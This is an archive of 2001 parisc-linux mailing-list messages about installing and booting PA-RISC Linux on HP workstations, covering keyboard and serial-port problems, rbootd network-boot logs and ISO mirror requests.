From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palinux 0.9.1
Date: Wed, 4 Jul 2001 18:44:02 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <OF5EDA36D9.81945ED8-ONC1256A7F.00596A33@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620259 21649 80.91.229.3 (22 Nov 2014 01:37:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: puffin@esiee.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  4 10:51:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D32D482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Jul 2001 10:51:07 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d548bad5378@epirel991.europay.com>;
 Wed, 4 Jul 2001 18:50:44 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 07/04/2001 06:46:20 PM
Xref: news.gmane.org gmane.linux.ports.parisc:11481

Hi all,

Very nice on 712 model.
Just a small problem after the configuration of the inet interface:
ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN
skb: pf=2 (unowned) dev=l0 len=328
PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16

This message is repeated severall times?

Elsewhere the install finished well! (congratulation it is really a big
step).

But on the B180, I met the same problem as I met with the kernel
vmlinux-20010629 (from puffin also with your vmlinux-712+sound+mouse):
all seems to work fine but the keyboard does not answer (and no serial
consol yet available) also it is impossible to contine the install?

(Sorry I just tested vmlinux-20010629 in the beginning of afternnon and not
have time to report it before your realease)

Thanks in advance for help,
     Joel



**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: How to access the second serial port on a B180 with PALINUX
Date: Wed, 4 Jul 2001 18:57:41 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <OF5ED9CFC8.D2B338F0-ONC1256A7F.005CC8FA@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620259 21653 80.91.229.3 (22 Nov 2014 01:37:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  4 11:04:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B03E482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Jul 2001 11:04:47 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d548bb9d7b1@epirel991.europay.com> for <parisc-linux@lists.parisc-linux.org>;
 Wed, 4 Jul 2001 19:04:25 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 07/04/2001 07:00:01 PM
Xref: news.gmane.org gmane.linux.ports.parisc:11482

Hio,

I found the solution in the precompile kernel vmlinux-20010629 but this one
the ps2 keyboard does not answer (fortunately I had also a serial console
which allow me to verify that everything else works fine).

Any idea about this keyboard problem?

Thanks in advance for additional help,
     Joel




                                                                           =
                                  =20
                    Jo=EBl Soete                                           =
                                    =20
                                         To:     parisc-linux@lists.parisc-=
linux.org                         =20
                    04-07-01             cc:                               =
                                  =20
                    08:59 AM             Subject:     How to access the sec=
ond serial port on a B180 with    =20
                                         PALINUX                           =
                                  =20
                                                                           =
                                  =20



Hio,

I just re-install my B180 with the last palinux-0.9 CD.

With STI console gpm also works excepted that it do not highlight a
double-click selection (but selection works)?

I would also like to test the second serial port available on this model.
Is any have tips or idea?

Thanks in advance for help,
     Joel





**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Timothy Ball <timball@tux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting images
Date: Wed, 4 Jul 2001 13:38:02 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20010704133802.K19064@gwyn.tux.org>
References: <20010703151202.H19064@gwyn.tux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620259 21658 80.91.229.3 (22 Nov 2014 01:37:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:39 +0000 (UTC)
To: Parisc Linux Mailing List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  4 11:38:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gwyn.tux.org (gwyn.tux.org [207.96.122.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA5D6482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Jul 2001 11:38:07 -0600 (MDT)
Original-Received: (from timball@localhost)
	by gwyn.tux.org (8.9.3/8.9.1) id NAA12473
	for parisc-linux@lists.parisc-linux.org; Wed, 4 Jul 2001 13:38:02 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20010703151202.H19064@gwyn.tux.org>; from timball@tux.org on Tue, Jul 03, 2001 at 03:12:02PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11483

On Tue, Jul 03, 2001 at 03:12:02PM -0400, Timothy Ball wrote:
> I have a 735 and have had a bit of a time to try to get this thing to
> boot and install. I have downloaded the palinux-0.9-32sti.iso.gz file
> from the parisc website. Is there anything special I have to do to this
> image to make it bootable? 

Okay I got the iso and it's booting... but then it gets down to these
last few lines:

--snip--snip--snip--
CPU(s): 1x PA7100 (PCX-T) at 125.000000 MHz
Kernel command line: HOME=/ TERM=linux root=/dev/ram console=tty0 sti=0
sti_font=VGA8x16
Console: colour dummy device 80x25
--snip--snip--snip--

Then it hangs... Not sure what to do... 

--timball

-- 
	GPG key available on pgpkeys.mit.edu
pub  1024R/CFF85605 1999-06-10 Timothy L. Ball <timball@sheergenius.com>
     Key fingerprint = 8A 8E 64 D6 21 C0 90 29  9F D6 1E DC F8 18 CB CD




From - Thu Nov 08 21:18:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: How to access the second serial port on a B180 with PALINUX
Date: Wed, 4 Jul 2001 19:43:58 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <20010704194358.A8061@solo.franken.de>
References: <OF5ED9CFC8.D2B338F0-ONC1256A7F.005CC8FA@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620260 21663 80.91.229.3 (22 Nov 2014 01:37:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Jo=EBl_Soete?= <jso@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  4 11:44:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (unknown [195.254.66.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 82FB4482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Jul 2001 11:44:19 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.9.3/8.9.3) id TAA08094;
	Wed, 4 Jul 2001 19:43:58 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <OF5ED9CFC8.D2B338F0-ONC1256A7F.005CC8FA@LocalDomain>; from jso@europay.com on Wed, Jul 04, 2001 at 06:57:41PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11484

On Wed, Jul 04, 2001 at 06:57:41PM +0200, Jol Soete wrote:
> Any idea about this keyboard problem?

I'm working on that problem, which I've noticed during the last weekend.
PS2 keyboard and mouse are working on my 712 but not on the B180.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:18:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "y.   han" <yhan@uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] request to boot (denied)
Date: Wed, 4 Jul 2001 14:41:36 -0400 (EDT)
Lines: 64
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0107041427510.19435-100000@panther.uwo.ca>
References: <20010630122236.A6437@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620260 21666 80.91.229.3 (22 Nov 2014 01:37:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  4 12:41:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pony.its.uwo.ca (pony.its.uwo.ca [129.100.2.63])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3AC92482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Jul 2001 12:41:43 -0600 (MDT)
Original-Received: from panther.uwo.ca (panther.uwo.ca [129.100.2.14])
	by pony.its.uwo.ca (8.10.2/8.10.2) with ESMTP id f64Ig5V20977;
	Wed, 4 Jul 2001 14:42:05 -0400 (EDT)
In-Reply-To: <20010630122236.A6437@megatonmonkey.net>
Xref: news.gmane.org gmane.linux.ports.parisc:11485

Hi!
Does anyone have any idea what is wrong with rbootd in our 715/50 machine.

We get the rbootd running.
1. the rbootd.conf is located at /etc
2. the rbootd.conf contains:

08:00:09:78:ab:0f    vmlinux        #Corus

(we have vmlinux, lifimage located at /export/hp/rbootd/ . and try both in
rbootd.conf

3. we set the vmlinux and lifimage r and x (readable).
4. rbootd is located at /etc/init.d/ and we run it by "rbootd
start". after
modifying the rbootd.conf, we use "rbootd restart" to restart it. 

5. we try to use "rbootd -d " to debug the messages. we get the
message. The following is a sample from the system message.

Jul  3 13:11:32 roller rbootd: rbootd shutdown succeeded
Jul  3 13:11:35 roller rbootd[4383]: restarted (eth0)
Jul  3 13:11:35 roller kernel: device eth0 entered promiscuous mode
Jul  3 13:12:47 roller rbootd[4383]: 08:00:09:78:ab:0f: request to boot
(denied)
Jul  3 13:12:47 roller rbootd: <<< 13:12:47.752052
Addr: 08:00:09:78:ab:0f   I
ntf: eth0
Jul  3 13:12:47 roller rbootd: ^I802.2 LLC: DSAP:f8 SSAP:f8 CTRL:300
Jul  3 13:12:47 roller rbootd: ^IHP Ext:    DXSAP:608 SXSAP:609
Jul  3 13:12:47 roller rbootd: ^IBoot Request: (Send Server ID)
Jul  3 13:12:47 roller rbootd: ^I^IRetCode:0 SeqNo:0 SessID:ffff Vers:2
Jul  3 13:12:47 roller rbootd: ^I^IMachine Type: HPS700              
Jul  3 13:12:47 roller rbootd: ^I^IFile Name (0): <>
Jul  3 13:12:47 roller rbootd: 
Jul  3 13:12:47 roller rbootd: >>> 13:12:47.755687
Addr: 08:00:09:78:ab:0f   I
ntf: eth0
       12:48 roller rbootd: ^I802.2 LLC: DSAP:f8 SSAP:f8 CTRL:300
Jul  3 13:12:48 roller rbootd: ^IHP Ext:    DXSAP:609 SXSAP:608
Jul  3 13:12:48 roller rbootd: ^IBoot Reply:
Jul  3 13:12:48 roller rbootd: ^I^IRetCode:16 SeqNo:af77368d SessID:1
Vers:2
Jul  3 13:12:48 roller rbootd: ^I^IFile Name (0): <>
Jul  3 13:12:48 roller rbootd: 
Jul  3 13:12:58 roller rbootd: <<< 13:12:58.242052
Addr: 08:00:09:78:ab:0f   I
ntf: eth0


6. We do not know what is going on with this machine?  If anyone can help
on this problem, that will be much helpful.

thanks,



>>>>>>>   
Department of Computer Science
University of Western Ontario





From - Thu Nov 08 21:18:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [Continued off-list] Re: [parisc-linux] request to boot (denied)
Date: Wed, 4 Jul 2001 15:53:38 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20010704155338.E11831@megatonmonkey.net>
References: <20010630122236.A6437@megatonmonkey.net> <Pine.SOL.4.21.0107041427510.19435-100000@panther.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620260 21668 80.91.229.3 (22 Nov 2014 01:37:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:40 +0000 (UTC)
Cc: yhan@uwo.ca
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  4 13:53:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B1D9482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Jul 2001 13:53:05 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f64JuWd23715;
	Wed, 4 Jul 2001 15:56:32 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f64JrcT12079;
	Wed, 4 Jul 2001 15:53:38 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org, yhan@uwo.ca
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.SOL.4.21.0107041427510.19435-100000@panther.uwo.ca>; from yhan@uwo.ca on Wed, Jul 04, 2001 at 02:41:36PM -0400
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:11486

> Hi!
> Does anyone have any idea what is wrong with rbootd in our 715/50 machine.
> 
> We get the rbootd running.
> 1. the rbootd.conf is located at /etc
> 2. the rbootd.conf contains:
> 
> 08:00:09:78:ab:0f    vmlinux        #Corus
[snip]

Han,

I will email you off-list with a few more _detailed_ pointers.

Cheers,
Carlos.





From - Thu Nov 08 21:18:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "y.   han" <yhan@uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] request to boot (denied)
Date: Wed, 4 Jul 2001 16:00:35 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0107041544580.1633-100000@panther.uwo.ca>
References: <20010630122236.A6437@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620261 21672 80.91.229.3 (22 Nov 2014 01:37:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  4 14:00:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pony.its.uwo.ca (pony.its.uwo.ca [129.100.2.63])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09FDC482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Jul 2001 14:00:41 -0600 (MDT)
Original-Received: from panther.uwo.ca (panther.uwo.ca [129.100.2.14])
	by pony.its.uwo.ca (8.10.2/8.10.2) with ESMTP id f64K14V01712;
	Wed, 4 Jul 2001 16:01:04 -0400 (EDT)
In-Reply-To: <20010630122236.A6437@megatonmonkey.net>
Xref: news.gmane.org gmane.linux.ports.parisc:11487

Hi!

We solved the previous question I posted. so now the Hp715/50 machine get
started. But we still get some problems.

We get the log message "08:00:09:78:ab:0f: boot packets ignored" after
getting  "08:00:09:78:ab:0f:  request to boot lifimage (granted) "



>>>>>>>   
Department of Computer Science
University of Western Ontario





From - Thu Nov 08 21:18:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "y.   han" <yhan@uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Continued off-list] Re: [parisc-linux] request to boot (denied)
Date: Wed, 4 Jul 2001 16:51:17 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0107041647530.13573-100000@panther.uwo.ca>
References: <20010704155338.E11831@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620261 21677 80.91.229.3 (22 Nov 2014 01:37:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  4 14:51:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pony.its.uwo.ca (pony.its.uwo.ca [129.100.2.63])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9EEB9482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Jul 2001 14:51:22 -0600 (MDT)
Original-Received: from panther.uwo.ca (panther.uwo.ca [129.100.2.14])
	by pony.its.uwo.ca (8.10.2/8.10.2) with ESMTP id f64KpjV23748;
	Wed, 4 Jul 2001 16:51:45 -0400 (EDT)
In-Reply-To: <20010704155338.E11831@megatonmonkey.net>
Xref: news.gmane.org gmane.linux.ports.parisc:11488

Thanks for the reply,

We fixed the problem mentioned before.

A new problem is that after the hp box start to boot, it branches to
kernel and then the screen goes black. We cannot see anything, and we
tried to serial console, but cannot see any activity.  It looks like hang,
any idea?





>>>>>>>   
Department of Computer Science
University of Western Ontario





From - Thu Nov 08 21:18:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9.1 ISO Release
Date: Wed, 4 Jul 2001 15:50:58 -0500 (CDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10107041550200.7790-100000@jesse.crash.lan>
References: <20010704085904.78D77D15B5@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620261 21680 80.91.229.3 (22 Nov 2014 01:37:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  4 14:52:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pop03-srv.alltel.net (pop03.alltel.net [166.102.165.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4FCA0482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Jul 2001 14:52:26 -0600 (MDT)
Original-Received: from [162.39.130.137] by pop03-srv.alltel.net with ESMTP
          id <20010704204942.EMTY5378.pop03-srv.alltel.net@[162.39.130.137]>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 4 Jul 2001 15:49:42 -0500
X-Sender: catfish@jesse.crash.lan
In-Reply-To: <20010704085904.78D77D15B5@mail.esiee.fr>
Xref: news.gmane.org gmane.linux.ports.parisc:11489

Anyone have a US mirror with it yet? I can't get it from france its very
lagged. 
Thanks 
Terry



On Wed, 4 Jul 2001, marteau wrote:

> Hi all,                                                               
>                                                                       
> 	You can find the latest ISO (0.9.1) at                               
> http://mkhppa1.esiee.fr/download.html                                 
> As you will see, the kernel gets the last changes and there is no more
> serial or sti version...                                              
>                                                                       
> 	Try it and please feedback to the mailing list...                    
>                                                                       
> Regards, Thomas                                                       
> ESIEE Team                                                            
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 






From - Thu Nov 08 21:18:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to access the second serial port on a B180 with PALINUX
Date: Wed, 4 Jul 2001 22:57:56 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20010704225756.H23509@linuxcare.com>
References: <OFA73CA243.24E46DAD-ONC1256A7F.0022F3A1@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620261 21683 80.91.229.3 (22 Nov 2014 01:37:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Jo=EBl_Soete?= <jso@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  4 15:58:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id E3E3D482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Jul 2001 15:58:32 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id A46E5B00C; Wed,  4 Jul 2001 22:57:56 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <OFA73CA243.24E46DAD-ONC1256A7F.0022F3A1@LocalDomain>; from jso@europay.com on Wed, Jul 04, 2001 at 08:59:39AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11490

On Wed, Jul 04, 2001 at 08:59:39AM +0200, Jol Soete wrote:
> Hio,
> 
> I just re-install my B180 with the last palinux-0.9 CD.
> 
> With STI console gpm also works excepted that it do not highlight a
> double-click selection (but selection works)?
> 
> I would also like to test the second serial port available on this model.
> Is any have tips or idea?

Support has recently been added to the kernel for the second serial
port.  Either grab a new kernel from puffin.external.hp.com, I think
Matt Taggart posted some recently, or build your own.

Richard





From - Thu Nov 08 21:18:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Changes in Puffin Hardware Database !!
Date: Thu, 05 Jul 2001 00:21:12 +0200
Organization: private
Lines: 144
Approved: news@gmane.org
Message-ID: <3B4396D8.9A33414F@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------BEC157897CFF4BC6E8C14D5A"
X-Trace: ger.gmane.org 1416620262 21684 80.91.229.3 (22 Nov 2014 01:37:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  4 16:21:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viemta06.chello.at (viemta06.chello.at [195.34.133.56])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0EE7482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Jul 2001 16:21:32 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viemta06.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010704222123.JAUU6087.viemta06@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Thu, 5 Jul 2001 00:21:23 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11491

This is a multi-part message in MIME format.
--------------BEC157897CFF4BC6E8C14D5A
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi PA-RISC specialists !

I want to change my double registered email address
at HP 720 and E55 !
I have a new address (christoph.plattner@gmx.at, 
former: christoph.plattner@dot.at), and to be addressable,
I added my new email address, but the old must be removed !!

The email address at the bottom of the page (adminstrator)
is not addressable (see below).

With friendly regards
	Christoph Plattner



-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at
--------------BEC157897CFF4BC6E8C14D5A
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Return-Path: <>
X-Flags: 0000
Delivered-To: GMX delivery to christoph.plattner@gmx.at
Received: (qmail 12247 invoked by uid 0); 4 Jul 2001 22:15:13 -0000
Received: from mail.linuxcare.com (216.88.157.164)
  by mx0.gmx.net (mx13) with SMTP; 4 Jul 2001 22:15:13 -0000
Received: by mail.linuxcare.com (Postfix) via BOUNCE
	id 717E437B; Wed,  4 Jul 2001 15:15:09 -0700 (PDT)
Date: Wed,  4 Jul 2001 15:15:09 -0700 (PDT)
From: MAILER-DAEMON@linuxcare.com (Mail Delivery System)
Subject: Undelivered Mail Returned to Sender
To: christoph.plattner@gmx.at
MIME-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
	boundary="1022C34C.994284909/mail.linuxcare.com"
Message-Id: <20010704221509.717E437B@mail.linuxcare.com>
X-Mozilla-Status2: 00000000

This is a MIME-encapsulated message.

--1022C34C.994284909/mail.linuxcare.com
Content-Description: Notification
Content-Type: text/plain

This is the Postfix program at host mail.linuxcare.com.

I'm sorry to have to inform you that the message returned
below could not be delivered to one or more destinations.

For further assistance, please send mail to <postmaster>

If you do so, please include this problem report. You can
delete your own text from the message returned below.

			The Postfix program

<mort@linuxcare.com>: unknown user: "mort"

